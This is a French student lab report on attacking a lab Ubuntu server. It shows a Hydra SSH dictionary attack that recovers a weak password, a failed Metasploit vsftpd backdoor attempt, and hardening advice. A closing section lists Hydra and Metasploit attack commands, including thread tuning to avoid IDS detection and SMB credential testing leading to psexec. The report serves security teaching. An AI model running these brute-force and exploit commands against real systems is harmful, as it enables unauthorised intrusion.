

RAPPORT DE TRAVAUX PRATIQUES : TP 3.1

SUJET : ATTAQUE D'UN SERVEUR LINUX

ÉTUDIANT : ALIAWY MFAM SAKER RICHLAND

DATE :27- AVRIL 2026

1. INTRODUCTION ET OBJECTIFS

Ce TP simule une phase d'exploitation réelle suite à une évaluation de vulnérabilités. L'objectif est d'utiliser Kali Linux pour compromettre un serveur cible Ubuntu (192.168.56.10) en utilisant deux vecteurs : l'attaque par force brute et l'exploitation de services vulnérables.

2. PHASE DE RECONNAISSANCE ET VERIFICATION

Avant de lancer les attaques, il est impératif de valider la connectivité entre l'attaquant et la cible.

Tâche A : Test de connectivité (Ping)

Commande : ping 192.168.56.10

```
(aliawy@kali)-[~]
$ ping 192.168.56.10
PING 192.168.56.10 (192.168.56.10) 56(84) bytes of data.
64 bytes from 192.168.56.10: icmp_seq=1 ttl=64 time=1.20 ms
64 bytes from 192.168.56.10: icmp_seq=2 ttl=64 time=0.761 ms
64 bytes from 192.168.56.10: icmp_seq=3 ttl=64 time=0.747 ms
^C
— 192.168.56.10 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2044ms
rtt min/avg/max/mdev = 0.747/0.903/1.203/0.211 ms
```

Analyse : Le serveur répond aux requêtes ICMP, confirmant que la cible est 'up' et accessible sur le réseau local.

Tâche B : Vérification du service SSH

Commande sur Ubuntu : sudo systemctl status ssh

```
aliawy@aliawy-VirtualBox: ~  
aliawy@aliawy-VirtualBox:~$ sudo systemctl status ssh  
[sudo] Mot de passe de aliawy :  
● ssh.service - OpenBSD Secure Shell server  
   Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset:   
   Active: active (running) since Thu 2026-04-16 12:07:38 WAT; 11h ago  
     Docs: man:sshd(8)  
           man:sshd_config(5)  
    Main PID: 4494 (sshd)  
       Tasks: 1 (limit: 2892)  
      Memory: 1.9M  
         CPU: 798ms  
    CGroup: /system.slice/ssh.service  
            └─4494 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
```

Interprétation : Le démon SSH écoute sur le port 22. C'est ce service qui sera visé par notre première attaque.

3. PARTIE 1 : ATTAQUE PAR BRUTE FORCE (HYDRA)

Nous utilisons Hydra pour tester une liste de mots de passe (wordlist) contre un utilisateur connu sur le serveur.

Commande type : `hydra -l [user] -P [chemin_wordlist] ssh://192.168.56.10`

```
(aliawy@kali)-[~]  
$ hydra -l aliawy.mfam -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.10  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-27 12:42:58  
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore  
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task  
[DATA] attacking ssh://192.168.56.10:22/  
[STATUS] 107.00 tries/min, 107 tries in 00:01h, 14344295 to do in 2234:19h, 13 active  
[STATUS] 92.00 tries/min, 276 tries in 00:03h, 14344126 to do in 2598:35h, 13 active  
[STATUS] 86.00 tries/min, 602 tries in 00:07h, 14343800 to do in 2779:40h, 13 active  
[STATUS] 83.53 tries/min, 1253 tries in 00:15h, 14343149 to do in 2861:46h, 13 active  
[22][ssh] host: 192.168.56.10 login: aliawy.mfam password: password123  
1 of 1 target successfully completed, 1 valid password found  
[WARNING] Writing restore file because 6 final worker threads did not complete until end.  
[ERROR] 6 targets did not resolve or could not be connected  
[ERROR] 0 target did not complete  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-27 13:00:04  
  
(aliawy@kali)-[~]  
$
```


5- CONFIGURATION DU MODULE

5.1 RÉSULTAT OBSERVÉ

```
[*] 192.168.56.10:21 - Banner: 220 (vsFTPd 3.0.5)
[*] 192.168.56.10:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.10
RHOSTS => 192.168.56.10
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.56.10:21 - Banner: 220 (vsFTPd 3.0.5)
[*] 192.168.56.10:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.56.10:21 - Banner: 220 (vsFTPd 3.0.5)
[*] 192.168.56.10:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

5.2 ANALYSE TECHNIQUE DE L'ECHEC

- La **Version vsftpd 3.0.5** est une Version récente, patchée depuis longtemps.
- La Vulnérabilité ciblée qui est Backdoor vsftpd 2.3.4 N'existe que dans les versions antérieures à 2.3.5.
- Le Comportement attendu devrait être Obtention d'un Shell sur port 6200 qui est Non déclenché car la faille n'est pas présente.

Conclusion : L'exploit a échoué car la version du service était trop récente. Cela démontre l'importance des mises à jour de sécurité.

6. ENSEIGNEMENTS TIRES DE L'ECHEC DE L'EXPLOIT

6.1 POUR L'ATTAQUANT

- Les vulnérabilités logicielles ont une durée de vie limitée : une fois patchées, l'exploit devient inutilisable.

- Un attaquant doit donc :
- Scanner les versions des services
- Adapter ses exploits en fonction des versions détectées
- Chercher d'autres failles (zero-day, configuration, etc.)

6.2 POUR LE DEFENSEUR

- Maintenir les systèmes à jour est la contre-mesure la plus efficace contre les exploits connus.
- Utiliser des outils comme apt list --upgradable pour identifier les paquets vulnérables.

7. RECOMMANDATIONS DE SECURITE

Pour SSH

- Désactiver l'authentification par mot de passe (PasswordAuthentication no)
- Utiliser des clés SSH ou 2FA
- Mettre en place fail2ban pour limiter les tentatives de brute force

Pour les services réseau

- Supprimer les services inutiles
- Maintenir les logiciels à jour (ex: unattended-upgrades)
- Réaliser des audits réguliers (Nmap, OpenVAS)

Pour la politique de mots de passe

- Longueur minimale : 12 caractères
- Mélange de classes (majuscules, minuscules, chiffres, symboles)
- Ne pas utiliser de mots du dictionnaire

8. UTILISATION AVANCEE DES OUTILS (RECHERCHE PERSONNELLE)

Hydra

✦ 8.1 HYDRA – COMMANDES AVANCEES

Hydra est un outil de casse de mots de passe en parallèle. Au-delà de l'attaque SSH basique, plusieurs options sont essentielles pour un usage professionnel.

◆ *Option -t (ajuster le nombre de tâches)*

- **Rôle** : Définit le nombre de tentatives parallèles (threads). Sur SSH, les configurations limitent souvent ce nombre. Une valeur trop haute peut faire échouer l'attaque.
- **Exemple** : `hydra -l root -P pass.txt -t 4 ssh://192.168.1.10`
- **Cas d'usage** : Réduire le parallélisme pour éviter la détection (IDS/IPS) ou les blocages par le serveur.

◆ *Option -V (affichage des tentatives)*

- **Rôle** : Affiche chaque tentative en temps réel. Très utile pour le débogage ou la surveillance.
- **Exemple** : `hydra -l admin -P dict.txt -V http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"`

- **Cas d'usage** : Voir immédiatement quels mots de passe échouent, ce qui permet d'ajuster le dictionnaire.

◆ *Option -o (sauvegarde des résultats)*

- **Rôle** : Écrit les résultats (identifiants trouvés) dans un fichier.
- **Exemple** : `hydra -l student -P rockyou.txt -o resultats.txt ssh://192.168.56.10`
- **Cas d'usage** : Conserver une trace des identifiants valides pour une utilisation ultérieure (ex: module psexec de Metasploit).

◆ *Autres options utiles*

- `-f` : arrête l'attaque dès la première paire identifiant/mot de passe trouvée.
- `-s` : spécifie un port différent (ex: `-s 2222` pour SSH sur un port non standard).
- `-L` / `-P` : utilise une liste d'utilisateurs (fichier) au lieu d'un seul.

✦ 8.2 METASPLOIT – COMMANDES AVANCEES

Metasploit offre une richesse de commandes pour gérer les modules, les sessions et la post-exploitation.

◆ *show options*

- **Rôle** : Affiche tous les paramètres configurables du module actif. Indispensable pour bien configurer un exploit.
- **Exemple** : `msf6 > use auxiliary/scanner/smb/smb_login`
`msf6 auxiliary(scanner/smb/smb_login) > show options`

→ Affichera les champs RHOSTS, SMBUser, SMBPass, THREADS...

- **Cas d'usage :** Vérifier qu'aucun paramètre obligatoire n'est oublié avant de lancer un module.

◆ *show advanced*

- **Rôle :** Dévoile les options avancées d'un module. Permet d'affiner le comportement (timeouts, détection, furtivité).
- **Exemple :** msf6 exploit(windows/smb/psexec) > show advanced

◆ *info*

- **Rôle :** Fournit la documentation complète d'un module : description, cibles valides, références, vulnérabilités associées.
- **Exemple :** msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > info

◆ *sessions*

- **Rôle :** Gère les sessions actives (Meterpreter ou shell). Permet de lister, d'interagir ou de tuer une session.
- Commandes utiles :
 - sessions -l : liste toutes les sessions ouvertes.
 - sessions -i <id> : interagit avec la session <id>.
 - sessions -k <id> : termine une session.

- **Cas d'usage** : Passer d'une session Meterpreter à une autre après avoir compromis plusieurs machines.

◆ Exemple complet d'utilisation de smb_login

```
msf6 > use auxiliary/scanner/smb/smb_login
```

```
msf6 auxiliary(smb_login) > set RHOSTS 192.168.56.20
```

```
msf6 auxiliary(smb_login) > set SMBUser testuser
```

```
msf6 auxiliary(smb_login) > set SMBPass Password123!
```

```
msf6 auxiliary(smb_login) > set THREADS 5
```

```
msf6 auxiliary(smb_login) > run
```

Ce module vérifie si une paire identifiant/mot de passe fonctionne sur une cible SMB. Les résultats peuvent ensuite être réutilisés avec exploit/windows/smb/psexec pour obtenir une session Meterpreter.

9. CONCLUSION

Ce TP a permis de :

- Réussir une attaque par dictionnaire sur SSH (mot de passe faible)
- Constater qu'un exploit connu peut échouer si le service est à jour

Leçon principale : La sécurité d'un système repose sur une combinaison de facteurs :

- Mises à jour régulières (pour contrer les exploits connus)
- Politiques de mots de passe robustes (pour résister aux attaques par dictionnaire)

Difficultés rencontrées : L'impossibilité d'exploiter vsftpd 3.0.5 a obligé à documenter un échec, ce qui est finalement très formateur : dans un vrai pentest, tous les exploits ne fonctionnent pas.

Perspectives : Pour aller plus loin, nous pourrions installer volontairement une version vulnérable (vsftpd 2.3.4) et comparer les résultats.